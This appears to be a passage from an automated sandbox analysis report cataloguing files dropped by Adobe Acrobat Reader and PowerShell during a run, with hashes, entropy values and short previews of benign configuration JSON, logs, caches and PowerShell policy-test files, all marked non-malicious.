Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.252505563374874
Encrypted:	false
SSDEEP:	6:YEQXJ2HXb3A5G3HJt7+FIbRI6XVW7+0YoUoAvJfYdPeUkwRe9:YvXKXjecyYpW7xnGg8Ukee9
MD5:	460D33B9DC9476281D1259B5265F363A
SHA1:	2EFC50B8D1DED92ADB4EF9D8A640C114D0E6E53E
SHA-256:	C45D164BCB3CB857DEF52634A9B7FC4D8AB437E15AAA33F8687F93BC1DE3E0BD
SHA-512:	86CE168BC8A657ACD789059E6F1B36EF3C32AC2316FA9B437D8971B202625CB2A8C60EC05E07BF11F1F9DE9F2C6B3F0B4CC8D3FAB636E9BF7F6280BE27D82698
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"313cdd8d-7424-43e0-895a-2dac2a1f2d35","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736707006821,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.237719766538854
Encrypted:	false
SSDEEP:	6:YEQXJ2HXb3A5G3HJt7+FIbRI6XVW7+0YoUoAvJf+dPeUkwRe9:YvXKXjecyYpW7xnG28Ukee9
MD5:	CFE8F3081BB60BDE6DEDBE9B8FB62D6C
SHA1:	D13F9CA95C47E59CDEC6833076FACA9388530F24
SHA-256:	6109411AAF2BFC2BD824F95CFEFB6AA5AF1A37C1464A8C8D3FC6729FF3643EDF
SHA-512:	D7EB580DE3E4EEE7E757E681E753883589A15E7D61CE618F0A98B8C751BDD2D6B57C1A300066459078D828C5AA717420DC384C03E1F6F180878A975BB23E1F5F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"313cdd8d-7424-43e0-895a-2dac2a1f2d35","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736707006821,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.236379083293583
Encrypted:	false
SSDEEP:	6:YEQXJ2HXb3A5G3HJt7+FIbRI6XVW7+0YoUoAvJfbPtdPeUkwRe9:YvXKXjecyYpW7xnGDV8Ukee9
MD5:	CA6BF78BE7BA6044F47BECA1E911FA82
SHA1:	D3C2CF5CC72E0585328DD48EAF926D39BFB0007E
SHA-256:	23A3675E1DBC7B11FF35A20E8B873D4BB0FF289E57BF34E6395D7362F1E09B5C
SHA-512:	D8074056120CFA77B02AE33D900E1EA43E83CAE8B09578A3A2407D3B376C66214E4560E58C01E28737D891C32A5299826B146C639B843BB54C4840E0540A7CEB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"313cdd8d-7424-43e0-895a-2dac2a1f2d35","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736707006821,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2376907742352286
Encrypted:	false
SSDEEP:	6:YEQXJ2HXb3A5G3HJt7+FIbRI6XVW7+0YoUoAvJf21rPeUkwRe9:YvXKXjecyYpW7xnG+16Ukee9
MD5:	40CD7ACE79270E66AD1E423E9387FEBE
SHA1:	143CA5C106623E8A495550BC3168F36C44DA2A24
SHA-256:	94DCCFA09083103EB870F00180B092C6F682518B6DD370058CD9A37C56836B29
SHA-512:	E53E40AFDAC7AEC9DA27301AC84206A01CBDFADB6DCB90D733A61B3DFA652725C1B10D86EDC47A4E798A8B487D91E96B2626D2A1937018E5F9987722157D0BE0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"313cdd8d-7424-43e0-895a-2dac2a1f2d35","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736707006821,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.655700945884527
Encrypted:	false
SSDEEP:	24:Yv6X6cXiaamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSD:YvLUBgkDMUJUAh8cvMD
MD5:	DEF231AE10A30805AC7F536B50FF0D05
SHA1:	B7DE54839068B210B4B653D6B8DEC249941C9E2F
SHA-256:	742A74E21F99EC0154C2B5B176A0F12E9506915E11F7437F155C69ADACBCFCF5
SHA-512:	9AAFEB25A32EE53AFDF7150197E59AA6E5609F70D2C1D22B4DC393944577E663A7C12C829CC50E9AE4BED7E40EF38CC88D64C0946214DA9962AB2C711462FCD6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"313cdd8d-7424-43e0-895a-2dac2a1f2d35","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736707006821,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.209346039231422
Encrypted:	false
SSDEEP:	6:YEQXJ2HXb3A5G3HJt7+FIbRI6XVW7+0YoUoAvJfshHHrPeUkwRe9:YvXKXjecyYpW7xnGUUUkee9
MD5:	A39261449AD3D76DEE795B90BBA5355A
SHA1:	EBBA8567E0469D6D8062E46E89808F9E1F80F1B6
SHA-256:	BC459972E8FD874ED5BA12B127ADCFF68B339DE6D21D690CA857BB742770092F
SHA-512:	EBCEEE5771278252B8B691D8AE45447343015859321AF3FC8E980A845E23958A67FFB435F6DF1E2AA185243D6D8893EA2E3B57531FA30D1CA68A8E8865203635
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"313cdd8d-7424-43e0-895a-2dac2a1f2d35","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736707006821,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.219036937273091
Encrypted:	false
SSDEEP:	6:YEQXJ2HXb3A5G3HJt7+FIbRI6XVW7+0YoUoAvJTqgFCrPeUkwRe9:YvXKXjecyYpW7xnGTq16Ukee9
MD5:	511E535032230FAD8AB7E504A2D70DE2
SHA1:	8DAC623FBFBC5BA4F410400A302231AE9FC48FAB
SHA-256:	F5F569E6F2474F5023DF64774B13488871B0BDAAC7AAD25286DA7AE6333AFBB2
SHA-512:	D4D92D564383A8EC0675290F9488A46EFB20FAA3D41259D951036F025107B1D0A69A87DA21078B25CD7AD602C1F0239E72DC3AC5B400ABEF8F098D97AF71985D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"313cdd8d-7424-43e0-895a-2dac2a1f2d35","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736707006821,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.141279518661862
Encrypted:	false
SSDEEP:	48:YwWgQieTeS3QCMvuoMX4Paacd9IVx901C:oi6eiMmoZbs9yYC
MD5:	C189181B2063B06BE627AF902D286607
SHA1:	7C65597535CE62AF8B0959865E4579D0C0A66ED6
SHA-256:	BC6A8FEBC07A677DED0F707A8BFC9278A03F1F51ABF3046C255A335EE52C1959
SHA-512:	B00C21F7152144C79D507C0DA2E8B081BA2D6C903BDF85E02BEABA6D7DCBB65418CEA736F2BA43D9293095A71957911DE4B3F54E2F2E476A121216C729CE77A5
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"a8c34c50d4078a6e0bda86066d667a77","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736527246000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"f3198219463f3b436bf0395b39856d07","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736527246000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"a1e2a6bfdacfb940ce4994f2165bea59","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736527246000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"2089aacc133b70b0071c9e10e3d0f4ad","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736527246000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"eb82800730959212111a4e7ba6460310","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736527246000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"0edd2bc9e2a0abdbe9e2c8bf77a2ce3a","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9837153712097355
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/SpBeO4zJwtNBwtNbRZ6bRZ4OeOF:TVl2GL7ms6ggOVpBizutYtp6Pnz
MD5:	08293C709496028353EBE0BF65BA51A8
SHA1:	53ECE840033B181B1597B46B02A1F420CA8BEDA0
SHA-256:	F7BD1D85BF2AD3892C29D5BD97DADCA540E2555E580DA8AEF372055F31896F8E
SHA-512:	99417698CE61BEB6895865D94E42D0377D1CF4B8D56885CE565D2C5E6BB1ACB665D40322CE8BB2ECE4E42B1C54AF8FC99701212599D9999C90E2A5FC3450B9AA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.337146739969207
Encrypted:	false
SSDEEP:	24:7+tXAD1RZKHs/Ds/SpBeOPzJwtNBwtNbRZ6bRZWf1RZKJqLBx/XYKQvGJF7urss:7MXGgOVpB5zutYtp6PMQqll2GL7mss
MD5:	C5FEBE1EAAADFA579DF77AB53B78E9F6
SHA1:	FC99CDAE4BA649ECE71012EB0DCF46B139D0BD89
SHA-256:	717F4FCB4C8F2F1BA797AD964AC515E178AF25483F0470B750C1B57B5E0F207B
SHA-512:	67E9FD3E72C12E79DA4C51D39C2D26AD546F7586890DC652E5462D58DB0EA3048C193F9AA47E79CCC0AE3AAEC352E28147F0B85FFEFB2B13F20DDA5954064F14
Malicious:	false
Preview:	.... .c.......^v......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgqtEhdty2E2ARQuJtYnD3WtAc8W+Yyu:6a6TZ44ADEqtE3g92AiuJt4W+K
MD5:	900F7DB559543BB54788160CD97BD0F1
SHA1:	36B3BA569EBDA2DD1C40BE036FF29DADF7005DDD
SHA-256:	8132F714A37FE146C7024B0C1F494929E89C3B9031AF87C032E63BCAE0342349
SHA-512:	FC87224B36B4C54F99C5691FA23C626155652777AEB3D7FCEF174703A0F3FF427F76A674B95CAE60A801E2B09DD55FCFD05FCBE81C0580B0BA4D08D1D3859512
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSI7304d.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5004142083842487
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClE5:Qw946cPbiOxDlbYnuRK+bD5
MD5:	DBC023BF278169E6C483F62DE58E21FE
SHA1:	6527F3CB1367D6571F0F2D97E1DC11FD5A6E486F
SHA-256:	7F485FA4ED150B19C445C5C7714643F03327525A860929F9E1952AEA2C5C6EE0
SHA-512:	600C4305598D0B78A9A25B8DD2608B36812D792EB2B1D48809867A337C01DC42BB972ABD0540A8870F65BE4E76B5E3D51A02FE894DD218A93294DA0FBA983ED8
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.1.:.4.0.:.4.7. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0yexwjwd.4t1.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qhk3wvhd.epu.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 11-40-41-069.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3762855055787915
Encrypted:	false
SSDEEP:	384:8HrCT/2KGqx5wD4XlM2LjMO6xlsGMFtqfE2QqCwYOS+Z/9UPdIY/NsN4J6wfK8K0:zk0jV
MD5:	C5728679BDB89767C2A79AEE71AF70FD
SHA1:	F763C4495061CF24F42D82B5BB6367C32E01DFAF
SHA-256:	53511C8B2588750EB2C4786BA8D020B55DF6A73A07250BE255DEE3345BA7A21E
SHA-512:	C1BBB6123108803CF130017D2913C55A8D9B63A989431798FDCA81745FCC4A7404A9B95FDBDD457B0F716022CD9691FD7D52D8728929401C183F80B5CF4B99CE
Malicious:	false
Preview:	SessionID=1286f69a-9abd-481c-be43-d389626fd966.1736527241083 Timestamp=2025-01-10T11:40:41:083-0500 ThreadID=7480 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=1286f69a-9abd-481c-be43-d389626fd966.1736527241083 Timestamp=2025-01-10T11:40:41:084-0500 ThreadID=7480 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=1286f69a-9abd-481c-be43-d389626fd966.1736527241083 Timestamp=2025-01-10T11:40:41:084-0500 ThreadID=7480 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=1286f69a-9abd-481c-be43-d389626fd966.1736527241083 Timestamp=2025-01-10T11:40:41:084-0500 ThreadID=7480 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=1286f69a-9abd-481c-be43-d389626fd966.1736527241083 Timestamp=2025-01-10T11:40:41:084-0500 ThreadID=7480 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.390869027545994
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbb:cs
MD5:	006073746581F1CEEA53BA52F56BA63E
SHA1:	240F2847DDF398B03D81AEAD47AD500136BD0A90
SHA-256:	3D875CEC71493B108945517EAC05CD34C0B7E0B7D6A52A02A3CB99570C9E7B3E
SHA-512:	BAEC075FF8D213D2808A88627AAA6CB367CBC359424FDC1767E0AD52D2BBAA2CFC472D4620149D5C1599BF971A0AC98C063A285F6833AE89C1F312C4ED77BD7A
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\0109982a-4038-4d5b-9352-dbf5d1b83eab.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\0486354b-6c20-4816-a187-a95644312c38.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
